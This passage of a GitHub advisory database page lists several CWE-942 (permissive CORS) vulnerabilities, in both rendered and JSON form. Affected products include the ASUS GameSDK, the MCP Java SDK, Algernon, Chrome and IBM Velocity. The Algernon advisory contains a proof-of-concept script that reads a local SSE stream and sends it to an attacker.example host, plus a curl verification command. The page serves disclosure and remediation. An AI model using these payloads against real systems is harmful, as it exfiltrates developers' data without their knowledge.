    "CVE-2026-8919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T02:22:57Z",
    "severity": "HIGH"
  },
  "details": "Permissive Cross-domain Security Policy with Untrusted Domains in ASUS GameSDK allows a remote user to obtain a local user\u2019s NTLM hash by convincing the user to visit a crafted web page that sends a request containing a UNC path to the application\u2019s local service endpoint. This can result in information disclosure or data tampering, may cause GameSDK to become unavailable, and may also enable access to the victim\u2019s information on other services.\nRefer to the \u0027\u00a0Security Update for ASUS GameSDK\u00a0\u00a0\u0027 section on the ASUS Security Advisory for more information.",
  "id": "GHSA-hc66-xcg9-cfg4",
  "modified": "2026-07-15T03:32:51Z",
  "published": "2026-07-15T03:32:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8919"
    },
    {
      "type": "WEB",
      "url": "https://www.asus.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HV2W-8MJJ-JW22

Vulnerability from github – Published: 2026-03-30 17:26 – Updated: 2026-06-09 18:39

Summary

MCP Java SDK has a Hardcoded Wildcard CORS (Access-Control-Allow-Origin: *)

Details

Summary

Hardcoded Wildcard CORS (Access-Control-Allow-Origin: * )

https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289
https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525

Attack Scenario

An attacker-controlled web page instructs the victim's browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: * allows cross-origin SSE reads, the attacker's page receives the endpoint event — which contains the session ID. The attacker can then POST to that endpoint from their page using the victim's browser as a relay.

Comparison with python-sdk

No Access-Control-Allow-Origin header is emitted by either Python transport. The browser's default same-origin policy remains in full effect. https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py

Recommendation

In the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.

Reference

https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.modelcontextprotocol.sdk:mcp-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.modelcontextprotocol.sdk:mcp-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.1.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.modelcontextprotocol.sdk:mcp-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.18.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:26:44Z",
    "nvd_published_at": "2026-03-31T16:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n**Hardcoded Wildcard CORS (Access-Control-Allow-Origin: * )**\n\n- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289\n- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525\n\n### Attack Scenario\nAn attacker-controlled web page instructs the victim\u0027s browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: * allows cross-origin SSE reads, the attacker\u0027s page receives the endpoint event \u2014 which contains the session ID. The attacker can then POST to that endpoint from their page using the victim\u0027s browser as a relay.\n\n### Comparison with python-sdk\nNo Access-Control-Allow-Origin header is emitted by either Python transport. The browser\u0027s default same-origin policy remains in full effect.\nhttps://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py\nhttps://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py\n\n### Recommendation\nIn the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.\n\n### Reference\n\n- https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin",
  "id": "GHSA-hv2w-8mjj-jw22",
  "modified": "2026-06-09T18:39:02Z",
  "published": "2026-03-30T17:26:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/java-sdk/security/advisories/GHSA-hv2w-8mjj-jw22"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34237"
    },
    {
      "type": "WEB",
      "url": "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/java-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Java SDK has a Hardcoded Wildcard CORS (Access-Control-Allow-Origin: *)"
}

GHSA-HW27-4V2Q-5QFF

Vulnerability from github – Published: 2026-05-20 15:34 – Updated: 2026-06-08 23:27

Summary

Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *

Details

Summary

The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.

This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.

Details

Root cause — hard-coded `"*"` passed as the CORS allowed-origin

// engine/config.go  (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)

The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:

// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        ...
    }
}

There is no decision based on the request's Origin header, and no allow-list mechanism — every caller is told their origin is approved.

Why the wildcard is exploitable

EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.

So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit any third-party origin in another tab for the following to drain their stream silently:

<!doctype html>
<script>
  const s = new EventSource('http://127.0.0.1:5553/sse');
  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>

The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.

PoC (against 1.17.6)

# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
#    The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
#    Access-Control-Allow-Origin: *, browser passes message events to the
#    cross-origin script; script ships filenames to attacker.example.

CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.

Impact

Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
Integrity: none.
Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).

Suggestions to fix

Primary fix — echo a same-origin allow-list instead of *.

// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
    http.Error(w, "forbidden", http.StatusForbidden)
    return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")

The allowed parameter must change from "*" to an explicit allow-list (or a single canonical server origin) — for example, sseScheme + "://" + ac.serverAddr. With the server's own scheme+host+port in Allow-Origin, a cross-origin request from evil.example is rejected by the browser because the response advertises a different origin.

Defence in depth — drop the legacy dedicated-port code path. Mounting the SSE handler on the main mux instead lets the response omit Access-Control-Allow-Origin entirely (same-origin only by default). The dedicated --eventserver-style path is the only place Access-Control-Allow-Origin is set in the codebase; removing the dedicated path simplifies the surface.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
    sleep 1
    echo "trigger" >> poc2/site/probe.txt
    wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt

The Origin: http://evil.example request header was echoed back as Access-Control-Allow-Origin: * (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run new EventSource("http://<algernon>:5553/sse") and read the stream.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:34:40Z",
    "nvd_published_at": "2026-05-26T17:16:51Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe SSE event server\u0027s `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller\u0027s `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required \u2014 any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause \u2014 hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request\u0027s `Origin` header, and no allow-list mechanism \u2014 every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin \u2014 that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n  const s = new EventSource(\u0027http://127.0.0.1:5553/sse\u0027);\n  s.onmessage = e =\u003e fetch(\u0027https://attacker.example/log?f=\u0027 + encodeURIComponent(e.data));\n\u003c/script\u003e\n```\n\nThe exploit is cookie-less and CORS-clean \u2014 no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a\u0027s transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user\u0027s own browser).\n\n### Suggestions to fix\n\n**Primary fix \u2014 echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) \u2014 for example, `sseScheme + \"://\" + ac.serverAddr`. With the server\u0027s own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth \u2014 drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse \u003e sse.txt \u0026\n    sleep 1\n    echo \"trigger\" \u003e\u003e poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard \u2014 browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://\u003calgernon\u003e:5553/sse\")` and read the stream.",
  "id": "GHSA-hw27-4v2q-5qff",
  "modified": "2026-06-08T23:27:33Z",
  "published": "2026-05-20T15:34:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46431"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *"
}

GHSA-J274-V69M-27GH

Vulnerability from github – Published: 2026-05-14 21:30 – Updated: 2026-05-15 15:30

Details

Insufficient policy enforcement in ViewTransitions in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-8537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T20:17:14Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in ViewTransitions in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-j274-v69m-27gh",
  "modified": "2026-05-15T15:30:39Z",
  "published": "2026-05-14T21:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8537"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/495890000"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J67F-PCRR-6X36

Vulnerability from github – Published: 2025-01-20 18:30 – Updated: 2025-01-20 18:30

Details

IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-22348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-20T18:15:13Z",
    "severity": "MODERATE"
  },
  "details": "IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.",
  "id": "GHSA-j67f-pcrr-6x36",
  "modified": "2025-01-20T18:30:49Z",
  "published": "2025-01-20T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22348"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7172750"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-942

Permissive Cross-domain Security Policy with Untrusted Domains

Summary

Details

Vulnerable Code

How the Attack Works

Two Attack Vectors

Compounding Factors

Attack Scenario

Root Cause

PoC

Impact

Remediation

Affected Deployments

Summary

Details

PoC

Impact

Summary

Cause and Remedy

Impact

Conditions

Mitigation in lieu of update

Summary

Attack Scenario

Comparison with python-sdk

Recommendation

Reference

Summary

Details

Root cause — hard-coded "*" passed as the CORS allowed-origin

Why the wildcard is exploitable

PoC (against 1.17.6)

Impact

Suggestions to fix

Live verification

Mitigation

Mitigation

Mitigation

Root cause — hard-coded `"*"` passed as the CORS allowed-origin